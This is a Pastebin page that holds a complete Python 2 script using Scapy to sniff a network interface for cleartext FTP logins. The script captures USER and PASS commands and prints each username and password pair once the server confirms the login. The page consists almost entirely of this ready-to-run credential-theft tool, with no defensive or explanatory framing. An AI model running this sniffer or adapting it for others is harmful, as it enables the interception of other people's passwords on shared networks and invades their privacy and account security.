Guest User

Python/Scapy FTP Password Sniffer

a guest
Mar 24th, 2016
1,653
0
Never
9
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 1.41 KB | None | 0 0
  1. #! /usr/bin/python
  2.  
  3. import sys
  4. from logging import getLogger, ERROR
  5. getLogger('scapy.runtime').setLevel(ERROR)
  6. try:
  7.     from scapy.all import *
  8. except ImportError:
  9.     print '[!] Error: Scapy Installation Not Found'
  10.     sys.exit(1)
  11.  
  12. interface = sys.argv[1]
  13.  
  14. usernames = ['Error: Unlucky Timing']
  15. passwords = ['Error: Unlucky Timing']
  16.  
  17. def check_login(pkt, username, password):
  18.     try:
  19.         if '230' in pkt[Raw].load:
  20.             print '[*] Valid Credentials Found... '
  21.             print '\t[*] ' + str(pkt[IP].dst).strip() + ' -> ' + str(pkt[IP].src).strip() + ':'
  22.             print '\t   [*] Username: ' + username
  23.             print '\t   [*] Password: ' + password + '\n'
  24.             return
  25.         else:
  26.             return
  27.     except Exception:
  28.         return 
  29.  
  30. def check_for_ftp(pkt):
  31.     if pkt.haslayer(TCP) and pkt.haslayer(Raw):
  32.         if pkt[TCP].dport == 21 or pkt[TCP].sport == 21:
  33.             return True
  34.         else:
  35.             return False
  36.     else:
  37.         return False
  38.  
  39. def check_pkt(pkt):
  40.     if check_for_ftp(pkt):
  41.         pass
  42.     else:
  43.         return
  44.     data = pkt[Raw].load
  45.     if 'USER ' in data:
  46.         usernames.append(data.split('USER ')[1].strip())
  47.     elif 'PASS ' in data:
  48.         passwords.append(data.split('PASS ')[1].strip())
  49.     else:
  50.         check_login(pkt, usernames[-1], passwords[-1])
  51.     return
  52.  
  53. print '[*] Sniffing Started on %s... \n' % interface
  54. try:
  55.     sniff(iface=interface, prn=check_pkt, store=0)
  56. except Exception:
  57.     print '[!] Error: Failed to Initialize Sniffing'
  58.     sys.exit(1)
  59. print '\n[*] Sniffing Stopped'
Advertisement
Comments
  • User was banned
  • User was banned
  • User was banned
  • User was banned
  • User was banned
  • User was banned
  • User was banned
  • User was banned
  • User was banned
Add Comment
Please, Sign In to add comment